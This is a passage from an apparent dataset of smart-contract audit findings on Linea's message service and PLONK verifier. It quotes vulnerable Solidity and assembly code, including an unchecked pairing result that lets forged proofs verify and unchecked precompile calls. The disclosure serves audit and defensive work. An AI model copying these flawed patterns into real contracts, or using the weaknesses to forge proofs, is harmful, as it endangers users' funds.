i++;\n }\n }\n\n item.len = itemLength;\n item.memPtr = ptr;\n}\n```\n\r\nAlthough it doesn't impose any security issue, as `ZkEvmV2` tries to decode an array of bytes32 hashes from the rlp encoded transaction. However, it may still lead to errors in other use cases if not handled correctly.\r\n\r\n\n**contracts/contracts/ZkEvmV2.sol:L222**\n```solidity\nCodecV2._extractXDomainAddHashes(TransactionDecoder.decodeTransaction(_transactions[_batchReceptionIndices[i]]))\n```\n\r\n#### Recommendation\r\n\r\nrlp library should revert if there are not enough elements to skip to in the encoding.","dataSource":{"name":"/diligence/audits/2023/06/linea-message-service/","repo":"https://consensys.net//diligence/audits/2023/06/linea-message-service/","url":"https://consensys.net//diligence/audits/2023/06/linea-message-service/"}} +{"title":"Incomplete Message State Check When Claiming Messages on L1 and L2","severity":"minor","body":"#### Description\r\nWhen claiming message on L1 orL2, `_updateL2L1MessageStatusToClaimed` and `_updateL1L2MessageStatusToClaimed` are called to update the message status, however the message state check only checks status `INBOX_STATUS_RECEIVED` and is missing status `INBOX_STATUS_UNKNOWN`, which means the message is not picked up by the coordinator or the message is not sent on L1 or L2 and should be reverted. As a result, the claiming message could be reverted with a incorrect reason.\r\n#### Examples\r\n\r\n\n**contracts/contracts/messageService/l1/L1MessageManager.sol:L52-L60**\n```solidity\nfunction _updateL2L1MessageStatusToClaimed(bytes32 _messageHash) internal {\n if (inboxL2L1MessageStatus[_messageHash] != INBOX_STATUS_RECEIVED) {\n revert MessageAlreadyClaimed();\n }\n\n delete inboxL2L1MessageStatus[_messageHash];\n\n emit L2L1MessageClaimed(_messageHash);\n}\n```\n\n**contracts/contracts/messageService/l2/L2MessageManager.sol:L66-L75**\n```solidity\n function _updateL1L2MessageStatusToClaimed(bytes32 _messageHash) internal {\n if (inboxL1L2MessageStatus[_messageHash] != INBOX_STATUS_RECEIVED) {\n revert MessageAlreadyClaimed();\n }\n\n inboxL1L2MessageStatus[_messageHash] = INBOX_STATUS_CLAIMED;\n\n emit L1L2MessageClaimed(_messageHash);\n }\n}\n```\n\r\n\r\n#### Recommendation\r\nAdd the missing status check and relevant revert reason for status `INBOX_STATUS_UNKNOWN` \r\n\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-message-service/","repo":"https://consensys.net//diligence/audits/2023/06/linea-message-service/","url":"https://consensys.net//diligence/audits/2023/06/linea-message-service/"}} +{"title":"Events Which May Trigger False Alarms","severity":"minor","body":"#### Description\r\n**1- `PauseManager` allows `PAUSE_MANAGER_ROLE` to pause/unpause a type as:**\r\n\r\n\n**contracts/contracts/bridge/lib/PauseManager.sol:L60-L63**\n```solidity\nfunction pauseByType(bytes32 _pauseType) external onlyRole(PAUSE_MANAGER_ROLE) {\n pauseTypeStatuses[_pauseType] = true;\n emit Paused(_msgSender(), _pauseType);\n}\n```\n\r\n\n**contracts/contracts/bridge/lib/PauseManager.sol:L70-L73**\n```solidity\nfunction unPauseByType(bytes32 _pauseType) external onlyRole(PAUSE_MANAGER_ROLE) {\n pauseTypeStatuses[_pauseType] = false;\n emit UnPaused(_msgSender(), _pauseType);\n}\n```\n \r\nHowever, the functions don't check whether the given `_pauseType` has already been paused/unpaused or not and emits an event every time called. This may trigger false alarms for off-chain monitoring tools and may cause unnecessary panic.\r\n\r\n**2 - `RateLimitter` allows resetting the limit and used amount as:**\r\n\r\n\n**contracts/contracts/messageService/lib/RateLimiter.sol:L78-L89**\n```solidity\nfunction resetRateLimitAmount(uint256 _amount) external onlyRole(RATE_LIMIT_SETTER_ROLE) {\n bool amountUsedLoweredToLimit;\n\n if (_amount < currentPeriodAmountInWei) {\n currentPeriodAmountInWei = _amount;\n amountUsedLoweredToLimit = true;\n }\n\n limitInWei = _amount;\n\n emit LimitAmountChange(_msgSender(), _amount, amountUsedLoweredToLimit);\n}\n```\n\r\n\n**contracts/contracts/messageService/lib/RateLimiter.sol:L96-L100**\n```solidity\nfunction resetAmountUsedInPeriod() external onlyRole(RATE_LIMIT_SETTER_ROLE) {\n currentPeriodAmountInWei = 0;\n\n emit AmountUsedInPeriodReset(_msgSender());\n}\n```\n\r\nHowever, it doesn't account for the scenarios where the function can be called after the current period ends and before a new period gets started. As the `currentPeriodAmountInWei` will still be holding the used amount of the last period, if the `RATE_LIMIT_SETTER_ROLE` tries to reset the limit with the lower value than the used amount, the function will emit the same event `LimitAmountChange` with the flag `amountUsedLoweredToLimit`. \r\n\r\nAdding to it, the function will make `currentPeriodAmountInWei` = `limitInWei`, which means no more amount can be added as the used amount until the used amount is manually reset to 0, which points out to the fact that the used amount should be automatically reset, once the current period ends. Although it is handled automatically in function `_addUsedAmount`, however, if the new period has not yet started, it is supposed to be done in a 2-step approach i.e., first, reset the used amount and then the limit. It can be simplified by checking for the current period in the `resetRateLimitAmount` function itself.\r\n\r\nThe same goes for the scenario where the used amount is reset after the current period ends. It will emit the same event as `AmountUsedInPeriodReset`\r\n\r\nThese can create unnecessary confusion, as the events emitted don't consider the abovementioned scenarios.\r\n\r\n#### Recommendation\r\n\r\n1. Consider adding checks to make sure already paused/unpaused types don't emit respective events.\r\n2. Consider emitting different events, or adding a flag in the events, that makes it easy to differentiate whether the limit and used amount are reset in the current period or after it has ended.\r\n3. Reset `currentPeriodAmountInWei` in function `resetRateLimitAmount` itself if the current period has ended.\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-message-service/","repo":"https://consensys.net//diligence/audits/2023/06/linea-message-service/","url":"https://consensys.net//diligence/audits/2023/06/linea-message-service/"}} +{"title":"PauseManager - Unnecessary Explicit Initialization of Values","severity":null,"body":"#### Description\r\n`__PauseManager_init` explicitly initializes, defined types with the default boolean value `false`, which is unnecessary and can be removed.\r\n\r\n\n**contracts/contracts/bridge/lib/PauseManager.sol:L49-L53**\n```solidity\nfunction __PauseManager_init() internal onlyInitializing {\n pauseTypeStatuses[L1_L2_PAUSE_TYPE] = false;\n pauseTypeStatuses[L2_L1_PAUSE_TYPE] = false;\n pauseTypeStatuses[PROVING_SYSTEM_PAUSE_TYPE] = false;\n}\n```\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-message-service/","repo":"https://consensys.net//diligence/audits/2023/06/linea-message-service/","url":"https://consensys.net//diligence/audits/2023/06/linea-message-service/"}} +{"title":"CodecV2 - Code Optimization","severity":null,"body":"#### Description\r\nThe library provides a simple utility function to decode an array of bytes32 hashes from calldata of a transaction as:\r\n\r\n\n**contracts/contracts/messageService/lib/Codec.sol:L17-L19**\n```solidity\nfunction _extractXDomainAddHashes(bytes memory _calldataWithSelector) internal pure returns (bytes32[] memory) {\n return abi.decode(_slice(_calldataWithSelector, 4, _calldataWithSelector.length - 4), (bytes32[]));\n}\n```\n\r\nwhich involves slicing down the memory array to get the desired length. However, the process can be simplified by switching `_calldataWithSelector` from **memory** to **calldata**, as solidity provides the index range access feature for calldata arrays.\r\n\r\n#### Recommendation\r\nThe code can be simplified to increase code readability and decrease gas cost as:\r\n```\r\n function _extractXDomainAddHashes(bytes calldata _calldataWithSelector) internal pure returns (bytes32[] memory) {\r\n return abi.decode(_calldataWithSelector[4:],(bytes32[]));\r\n }\r\n```\r\n\r\n**Update**:\r\nSince switching from `memory` to `calldata` may require making the library external and also `ZkEvmV2` to make an external call to the library. The optimization will increase the gas cost instead of reducing it.\r\n \r\n\n**contracts/contracts/ZkEvmV2.sol:L221-L223**\n```solidity\n_updateL1L2MessageStatusToReceived(\n CodecV2._extractXDomainAddHashes(TransactionDecoder.decodeTransaction(_transactions[_batchReceptionIndices[i]]))\n);\n```\n\r\nA better approach could be to recraft the memory array skipping the 4 bytes selector as:\r\n```\r\nfunction _extractXDomainAddHashes(bytes memory _calldataWithSelector) internal pure returns (bytes32[] memory) {\r\n assembly{\r\n let len:=sub(mload(_calldataWithSelector),4)\r\n _calldataWithSelector:=add(_calldataWithSelector,0x4)\r\n mstore(_calldataWithSelector, len)\r\n }\r\n \r\n return abi.decode(_calldataWithSelector, (bytes32[]));\r\n```","dataSource":{"name":"/diligence/audits/2023/06/linea-message-service/","repo":"https://consensys.net//diligence/audits/2023/06/linea-message-service/","url":"https://consensys.net//diligence/audits/2023/06/linea-message-service/"}} +{"title":"No Proper Trusted Setup","severity":"critical","body":"#### Description\r\nLinea uses Plonk proof system, which needs a preprocessed CRS (Common Reference String) for proving and verification, the Plonk system security is based on the existence of a trusted setup ceremony to compute the CRS, the current verifier uses a CRS created by one single party, which requires fully trust of the party to delete the toxic waste (trapdoor) which can be used to generate forged proof, undermining the security of the entire system \r\n\r\n\n**contracts/Verifier.sol:L29-L37**\n```solidity\nuint256 constant g2_srs_0_x_0 = 11559732032986387107991004021392285783925812861821192530917403151452391805634;\nuint256 constant g2_srs_0_x_1 = 10857046999023057135944570762232829481370756359578518086990519993285655852781;\nuint256 constant g2_srs_0_y_0 = 4082367875863433681332203403145435568316851327593401208105741076214120093531;\nuint256 constant g2_srs_0_y_1 = 8495653923123431417604973247489272438418190587263600148770280649306958101930;\n\nuint256 constant g2_srs_1_x_0 = 18469474764091300207969441002824674761417641526767908873143851616926597782709;\nuint256 constant g2_srs_1_x_1 = 17691709543839494245591259280773972507311536864513996659348773884770927133474;\nuint256 constant g2_srs_1_y_0 = 2799122126101651639961126614695310298819570600001757598712033559848160757380;\nuint256 constant g2_srs_1_y_1 = 3054480525781015242495808388429905877188466478626784485318957932446534030175;\n```\n\r\n#### Recommendation\r\nConduct a proper MPC to generate CRS like the Powers of Tau MPC or use a trustworthy CRS generated by an exisiting audited trusted setup like[ Aztec's ignition](https://github.com/AztecProtocol/ignition-verification) \r\n\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Broken Lagrange Polynomial Evaluation at Zeta","severity":"critical","body":"#### Description\r\nThe Verifier calculates the Lagrange Polynomial at ζ with an efficient scheme as:\r\nLj(ζ) = ωi/n * (ζn-1)/(ζ-ωi)\r\n\r\nwhich has also been pointed out in the [plonk paper](https://eprint.iacr.org/2019/953.pdf). However, the computation ignores the fact that ζ can also be a root of unity, which means ζn - 1 will be 0 for any ζ that is a root of unity.\r\n\r\nThus, the formula will yield the Lagrange polynomial evaluation as 0, which is **incorrect**.\r\nBecause the property of the Lagrange polynomial is: \r\nLj(ζ) = 1, if i=j and 0 otherwise, where ζ belongs to domain H = ωi, ∀ 0<=i< n(n being the domain size)\r\n\r\nAnother way of calculating the Lagrange polynomial at zeta is:\r\nLj(ζ) = yj * ∏ 0<= m <= k, m != j (ζ - xm)/(xj-xm); (k being the degree of polynomial)\r\n\r\nIf we consider the same evaluation for ζ at the root of unity in the second formula, it will correctly satisfy the property of the Lagrange polynomial stated above.\r\n\r\nHence, there is a need to fix the computation considering the case highlighted.\r\n\r\nThe problematic instances can be found in functions:\r\n- **compute_ith_lagrange_at_z**\r\n- **batch_compute_lagranges_at_z**\r\n- **compute_alpha_square_lagrange_0**\r\n\r\n\r\n#### Recommendation\r\n\r\nConsider adopting a strategy to use the second formula for the computation of Lagrange Polynomial evaluation at ζ if ζ is a root of unity.","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Broken Logic for Modular Multiplicative Inverse","severity":"critical","body":"#### Description\r\nThe multiplicate inverse of an element α in a finite field Fpn can be calculated as αpn - 2. α can be any field element except 0 or the point at infinity. \r\n\r\nThis totally makes sense as there exists no field element `x` such that \r\n**0 * x = 1 mod p**\r\n\r\nHowever, it is allowed here and it is calculated like any other field element.\r\nIt doesn't revert, because 0 raised to any power modulo p will yield 0.\r\n\r\nThus the calculation points to a broken logic that defines the modular multiplicative inverse of 0 as 0.\r\n\r\n\r\n#### Recommendation\r\n\r\nThe point at infinity can bring many mathematical flaws to the system. Hence require the utmost attention to be fixed.","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Missing Verifying Paring Check Result ","severity":"critical","body":"#### Description\r\nIn function `batch_verify_multi_points`, the SNARK paring check is done by calling paring pre-compile\r\n`let l_success := staticcall(sub(gas(), 2000),8,mPtr,0x180,0x00,0x20) `\r\nand the only the execution status is stored in the final success state (`state_success`), but the the paring check result which is stored in 0x00 is not stored and checked, which means if the paring check result is 0 (pairing check failed), the proof would still pass verification, e.g. invalid proof with incorrect proof element `proof_openings_selector_commit_api_at_zeta` would pass the paring check. As a result it breaks the SNARK paring verification.\r\n\r\n#### Examples\r\n\n**contracts/Verifier.sol:L586-L588**\n```solidity\nlet l_success := staticcall(sub(gas(), 2000),8,mPtr,0x180,0x00,0x20)\n// l_success := true\nmstore(add(state, state_success), and(l_success,mload(add(state, state_success))))\n```\n\r\nAnother example is, if either of the following is sent as a point at infinity or (0,0) as (x,y) co-ordinate:\r\n- commitment to the opening proof polynomial Wz\r\n- commitment to the opening proof polynomial Wzw\r\n\r\nThe proof will still work, since the pairing result is not being checked.\r\n\r\n#### Recommendation\r\nVerify paring check result and store it in the final success state after calling the paring pre-compile \r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Gas Greifing and Missing Return Status Check for `staticcall`(s), May Lead to Unexpected Outcomes","severity":"critical","body":"#### Description\r\nThe gas supplied to the `staticcall`(s), is calculated by subtracting `2000` from the remaining gas at this point in time. However, if not provided enough gas, the `staticcall`(s) may fail and there will be no return data, and the execution will continue with the stale data that was previously there at the memory location specified by the return offset with the `staticcall`(s).\r\n\r\n**1- Predictable Derivation of Challenges**\r\n\r\nThe function `derive_gamma_beta_alpha_zeta` is used to derive the challenge values `gamma`, `beta`, `alpha`, `zeta`. These values are derived from the prover's transcript by hashing defined parameters and are supposed to be unpredictable by either the prover or the verifier. The hash is collected with the help of **SHA2-256** precompile. \r\nThe values are considered unpredictable, due to the assumption that SHA2-256 acts as a random oracle and it would be computationally infeasible for an attacker to find the pre-image of `gamma`. However, the assumption might be wrong.\r\n\r\n#### Examples\r\n\n**contracts/Verifier.sol:L261**\n```solidity\npop(staticcall(sub(gas(), 2000), 0x2, add(mPtr, 0x1b), size, mPtr, 0x20)) //0x1b -> 000..\"gamma\"\n```\n\r\n\n**contracts/Verifier.sol:L269**\n```solidity\npop(staticcall(sub(gas(), 2000), 0x2, add(mPtr, 0x1c), 0x24, mPtr, 0x20)) //0x1b -> 000..\"gamma\"\n```\n\r\n\n**contracts/Verifier.sol:L279**\n```solidity\npop(staticcall(sub(gas(), 2000), 0x2, add(mPtr, 0x1b), 0x65, mPtr, 0x20)) //0x1b -> 000..\"gamma\"\n```\n\r\n\n**contracts/Verifier.sol:L293**\n```solidity\npop(staticcall(sub(gas(), 2000), 0x2, add(mPtr, 0x1c), 0xe4, mPtr, 0x20))\n```\n\r\n\n**contracts/Verifier.sol:L694**\n```solidity\npop(staticcall(sub(gas(), 2000), 0x2, add(mPtr,start_input), size_input, add(state, state_gamma_kzg), 0x20))\n```\n\r\nIf the `staticcall`(s) fails, it will make the challenge values to be predictable and may help the prover in forging proofs and launching other adversarial attacks. \r\n\r\n**2- Incorrect Exponentiation**\r\n\r\nFunctions `compute_ith_lagrange_at_z`, `compute_pi`, and `verify` compute modular exponentiation by making a `staticcall` to the precompile `modexp` as:\r\n\r\n\n**contracts/Verifier.sol:L335**\n```solidity\npop(staticcall(sub(gas(), 2000),0x05,mPtr,0xc0,0x00,0x20))\n```\n\r\n\n**contracts/Verifier.sol:L441**\n```solidity\npop(staticcall(sub(gas(), 2000),0x05,mPtr,0xc0,mPtr,0x20))\n```\n\r\n\n**contracts/Verifier.sol:L889**\n```solidity\npop(staticcall(sub(gas(), 2000),0x05,mPtr,0xc0,mPtr,0x20))\n```\n\r\nHowever, if not supplied enough gas, the `staticcall`(s) will fail, thus returning no result and the execution will continue with the stale data.\r\n\r\n**3. Incorrect Point Addition and Scalar Multiplication**\r\n\r\n\n**contracts/Verifier.sol:L555**\n```solidity\npop(staticcall(sub(gas(), 2000),7,folded_evals_commit,0x60,folded_evals_commit,0x40))\n```\n\r\n\n**contracts/Verifier.sol:L847**\n```solidity\nlet l_success := staticcall(sub(gas(), 2000),6,mPtr,0x80,dst,0x40)\n```\n\r\n\n**contracts/Verifier.sol:L858**\n```solidity\nlet l_success := staticcall(sub(gas(), 2000),7,mPtr,0x60,dst,0x40)\n```\n\r\n\n**contracts/Verifier.sol:L868**\n```solidity\nlet l_success := staticcall(sub(gas(), 2000),7,mPtr,0x60,mPtr,0x40)\n```\n\r\n\n**contracts/Verifier.sol:L871**\n```solidity\nl_success := and(l_success, staticcall(sub(gas(), 2000),6,mPtr,0x80,dst, 0x40))\n```\n\r\nFor the same reason, `point_add`, `point_mul`, and `point_acc_mul` will return incorrect results. Matter of fact, `point_acc_mul` will not revert even if the scalar multiplication fails in the first step. Because, the memory location specified for the return offset, will still be containing the old (x,y) coordinates of `src`, which are points on the curve. Hence, it will proceed by incorrectly adding (x,y) coordinates of `dst` with it.\r\n\r\nHowever, it will not be practically possible to conduct a gas griefing attack for `staticcall`(s) at the start of the top-level transaction. As it will require an attacker to pass a very low amount of gas to make the `staticcall` fail, but at the same time, that would not be enough to make the top-level transaction execute entirely and not run out of gas. But, this can still be conducted for the `staticcall`(s) that are executed at the near end of the top-level transaction.\r\n\r\n\r\n#### Recommendation\r\n\r\n1. Check the returned status of the **staticcall** and revert if any of the staticcall's return status has been 0.\r\n2. Also fix the comments mentioned for every staticcall, for instance:\r\nthe function `derive_beta` says `0x1b -> 000..\"gamma\"` while the memory pointer holds the ASCII value of string `beta`","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Verifier Doesn't Support Zero or Multiple BSB22 Commitments ","severity":"major","body":"#### Description\r\nThe verifier currently supports single BSB22 commitment as Gnark only supports single `Commit`(..) call. If there is no or multiple BSB22 commitments/`Commit` calls, the verifier would fail in proof verification. \r\n#### Examples\r\n\r\n\n**tmpl/template_verifier.go:L57-L58**\n```solidity\nuint256 constant vk_selector_commitments_commit_api_0_x = {{ (fpptr .Qcp.X).String }};\nuint256 constant vk_selector_commitments_commit_api_0_y = {{ (fpptr .Qcp.Y).String }};\n```\n\r\n\r\n#### Recommendation\r\nAdd support for zero or multiple BSB22 commitments \r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Missing Tests for Edge Cases","severity":"major","body":"#### Description\r\nThere are no test cases for invalid proof and public input such as proof elements not on curve, proof element is points of infinity, all proof elements are zero, wrong proof element, proof scalar element bigger than scalar field modulus, proof scalar element wrapping around scalar field modulus, public input greater than scalar field modulus etc. and no or multiple BSB22 commitments. There is only test for valid proof and one BSB22 commitment. Tests for all edge cases are crucial to check proof soundness in SNARK, missing it may result in missing some critical bugs, e.g. issue 15 \r\n\r\n\r\n#### Recommendation\r\nAdd missing test cases \r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Missing Scalar Field Range Check in Scalar Multiplication ","severity":"major","body":"#### Description\r\nThere is no field element range check on scalar field proof elements e.g. `proof_l_at_zeta, proof_r_at_zeta, proof_o_at_zeta, proof_s1_at_zeta,proof_s2_at_zeta, proof_grand_product_at_zeta_omega` as mentioned in the step 2 of the verifier's algorithm in the [Plonk paper](https://eprint.iacr.org/2019/953.pdf).\r\nThe scalar multiplication functions `point_mul` and `point_acc_mul` call precompile ECMUL, according to EIP-169 , which would verify the point P is on curve and P.x and P.y is less than the base field modulus, however it doesn't check the scalar `s` is less than scalar field modulus, if `s` is greater than scalar field modulus `r_mod`, it would cause unintended behavior of the contract, specifically if the scalar field proof element `e` are replaced by `e + r_mod`, the proof would still pass verification. Although in Plonk's case, there is few attacker vectors could exists be based on this kind of proof malleability. \r\n#### Examples\r\n\n**contracts/Verifier.sol:L852-L873**\n```solidity\nfunction point_mul(dst,src,s, mPtr) {\n // let mPtr := add(mload(0x40), state_last_mem)\n let state := mload(0x40)\n mstore(mPtr,mload(src))\n mstore(add(mPtr,0x20),mload(add(src,0x20)))\n mstore(add(mPtr,0x40),s)\n let l_success := staticcall(sub(gas(), 2000),7,mPtr,0x60,dst,0x40)\n mstore(add(state, state_success), and(l_success,mload(add(state, state_success))))\n}\n\n// dst <- dst + [s]src (Elliptic curve)\nfunction point_acc_mul(dst,src,s, mPtr) {\n let state := mload(0x40)\n mstore(mPtr,mload(src))\n mstore(add(mPtr,0x20),mload(add(src,0x20)))\n mstore(add(mPtr,0x40),s)\n let l_success := staticcall(sub(gas(), 2000),7,mPtr,0x60,mPtr,0x40)\n mstore(add(mPtr,0x40),mload(dst))\n mstore(add(mPtr,0x60),mload(add(dst,0x20)))\n l_success := and(l_success, staticcall(sub(gas(), 2000),6,mPtr,0x80,dst, 0x40))\n mstore(add(state, state_success), and(l_success,mload(add(state, state_success))))\n}\n```\n\r\n\r\n#### Recommendation\r\nAdd scalar field range check on scalar multiplication functions `point_mul` and `point_acc_mul` or the scalar field proof elements.\r\n\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Missing Public Inputs Range Check ","severity":"major","body":"#### Description\r\nThe public input is an array of `uint256` numbers, there is no check if each public input is less than SNARK scalar field modulus `r_mod`, as mentioned in the step 3 of the verifier's algorithm in the [Plonk paper](https://eprint.iacr.org/2019/953.pdf). Since public inputs are involved computation of `Pi` in the plonk gate which is in the SNARK scalar field, without the check, it might cause scalar field overflow and the verification contract would fail and revert. To prevent overflow and other unintended behavior there should be a range check for the public inputs. \r\n#### Examples\r\n\n**contracts/Verifier.sol:L470**\n```solidity\nfunction Verify(bytes memory proof, uint256[] memory public_inputs) \n```\n\r\n\n**contracts/Verifier.sol:L367-L383**\n```solidity\nsum_pi_wo_api_commit(add(public_inputs,0x20), mload(public_inputs), zeta)\npi := mload(mload(0x40))\n\nfunction sum_pi_wo_api_commit(ins, n, z) {\n let li := mload(0x40)\n batch_compute_lagranges_at_z(z, n, li)\n let res := 0\n let tmp := 0\n for {let i:=0} lt(i,n) {i:=add(i,1)}\n {\n tmp := mulmod(mload(li), mload(ins), r_mod)\n res := addmod(res, tmp, r_mod)\n li := add(li, 0x20)\n ins := add(ins, 0x20)\n }\n mstore(mload(0x40), res)\n}\n```\n\r\n\r\n#### Recommendation\r\nAdd range check for the public inputs\r\n`require(input[i] < r_mod, \"public inputs greater than snark scalar field\");`\r\n\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Missing Field Element Check and on Curve Point Check for Proof Elements ","severity":"major","body":"#### Description\r\nThere is no prime field element check and on curve point for proof `elements proof_l_com_x, proof_l_com_y,proof_r_com_x,proof_r_com_y, proof_o_com_x, proof_o_com_y, proof_h_0_x, proof_h_0_y,proof_h_1_x, proof_h_1_y,proof_h_2_x, proof_h_2_y, proof_batch_opening_at_zeta, proof_opening_at_zeta_omega, proof_selector_commit_api_commitment`, as mentioned in \r\n\r\n>step 1 Validate ([a]1, [b]1, [c]1, [z]1, [tlo]1, [tmid]1, [thi]1, [Wz]1, [Wzω]1) ∈ G9 \r\n\r\nof the verifier's algorithm in the [Plonk paper](https://eprint.iacr.org/2019/953.pdf). Although there is field element check and curve point check in ECCADD, ECCMUL and ECCParing precompiles on those elements, in which the precompile would revert on failed check but it would consume gas on revert and there is no error information. It's better to check explicitly and revert on fail to prevent unintended behavior of the verification contract. \r\n \r\n\r\n\r\n#### Recommendation\r\nAdd field element, group element and curve point check for proof elements and revert if the check fails. \r\n`\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Missing Length Check for `proof`","severity":"major","body":"#### Description\r\n\r\nThe `Verify` function has the following signature:\r\n\r\n```\r\nfunction Verify(bytes memory proof, uint256[] memory public_inputs) \r\n```\r\n\r\nHere, `proof` is a dynamically sized array of bytes (padded upto the nearest word). The function `derive_gamma(aproof, pub_inputs)` uses this array and makes some assumptions about its length. Specifically, that it is `(vk_nb_commitments_commit_api * 3 * 0x20) + 0x360` bytes long (when including the initial length field of the `bytes` array). However, there is no check that the `proof` supplied in the `calldata` (which originates within `ZkEvmV2` where it is loaded into `memory`) has the correct length. This could result in the `proof` and `pub_inputs` overlapping in memory, leading to unintended consequences.\r\n\r\nAlso, if mistakenly appended extra bits to the proof, it will not affect the proof verification as the Verifier doesn't account for any extra bits after the y coordinate of the last commitment. But it will surely make the verification expensive, as it will still be copied down into memory.\r\n\r\n#### Recommendation\r\n\r\nAdd an appropriate length check at some point in the pipeline to ensure this doesn't cause any unintended problems.\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Allowing Program Execution Even After a Failed Step May Lead to Unnecessary Wastage of Gas","severity":"medium","body":"#### Description\r\nThe Verifier stores the result of computations obtained in different steps of Verifier algorithm. The result is stored at a designated memory location `state_success` by doing bitwise **&** with the previous result, and if the final result at the end of all the steps comes out to be **1** or **true**, it verifies the proof.\r\n\r\nHowever, it makes no sense to continue with the rest of the operations, if any step results into a failure, as the proof verification will be failing anyways. But, it will result into wastage of more gas for the zkEVM Operator.\r\n\r\nThe functions which update the `state_success` state are:\r\n- **point_mul**\r\n- **point_add**\r\n- **point_acc_mul**\r\n- **verify_quotient_poly_eval_at_zeta**\r\n- **batch_verify_multi_points**\r\n\r\n#### Recommendation\r\n\r\nIt would be best to revert, the moment any step fails.","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Loading Arbitrary Data as Wire Commitments","severity":"medium","body":"#### Description\r\nFunction `load_wire_commitments_commit_api` as the name suggests, loads wire commitments from the proof into the memory array `wire_commitments`. The array is made to hold 2 values per commitment or the size of the array is 2 * `vk_nb_commitments_commit_api`, which makes sense as these 2 values are the **x** & **y** co-ordinates of the commitments.\r\n\r\n\n**contracts/Verifier.sol:L453-L454**\n```solidity\nuint256[] memory wire_committed_commitments = new uint256[](2*vk_nb_commitments_commit_api);\nload_wire_commitments_commit_api(wire_committed_commitments, proof);\n```\n\r\nComing back to the function`load_wire_commitments_commit_api`, it extracts both the **x** & **y** coordinates of a commitment in a single iteration. However, the loop runs `2 * vk_nb_commitments_commit_api`, or in other words, twice as many of the required iterations. For instance, if there is 1 commitment, it will run two times. The first iteration will pick up the actual coordinates and the second one can pick any arbitrary data from the proof(if passed) and load it into memory. Although, this data which has been loaded in an extra iteration seems harmless but still adds an overhead for the processing.\r\n\r\n\n**contracts/Verifier.sol:L307**\n```solidity\nfor {let i:=0} lt(i, mul(vk_nb_commitments_commit_api,2)) {i:=add(i,1)}\n```\n\r\n#### Recommendation\r\n\r\nThe number of iterations should be equal to the size of commitments, i.e., `vk_nb_commitments_commit_api`.\r\nSo consider switching from:\r\n```\r\nfor {let i:=0} lt(i, mul(vk_nb_commitments_commit_api,2)) {i:=add(i,1)}\r\n```\r\nto:\r\n```\r\nfor {let i:=0} lt(i, vk_nb_commitments_commit_api) {i:=add(i,1)}\r\n```\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-plonk-verifier/","repo":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/","url":"https://consensys.net//diligence/audits/2023/06/linea-plonk-verifier/"}} +{"title":"Broken Logic for Batch Inverting Field Elements","severity":"minor","body":"#### Description\r\nThe function `compute_pi` calculates public input polynomial evaluation at 𝜁 without `api commit` as:\r\nPI(𝜁) = ∑i∈[ℓ] ωiLi(𝜁)\r\n\r\nThe function first calculates:\r\nn-1 * (𝜁n-1)\r\n\r\nand then calls a function `batch_invert` to find modular multiplicate inverses of:\r\n𝜁 - ωi where 0 < i < n ; n is the number of public inputs and 𝜁0 = 1.\r\n\r\nThe explanation of which is provided by the author as:\r\n```\r\nEx: if ins = [a₀, a₁, a₂] it returns [a₀^{-1},a₁^{-1}, a₂^{-1}] (the aᵢ are on 32 bytes)\r\nmPtr is the free memory to use.\r\n\r\nIt uses the following method (example with 3 elements):\r\n* first compute [1, a₀, a₀a₁, a₀a₁a₂]\r\n* compute u := (a₀a₁a₂)^{-1}\r\n* compute a₂^{-1} = u*a₀a₁, replace u by a₂*u=(a₀a₁)^{-1}\r\n* compute a₁^{-1} = u*a₀, replace u by 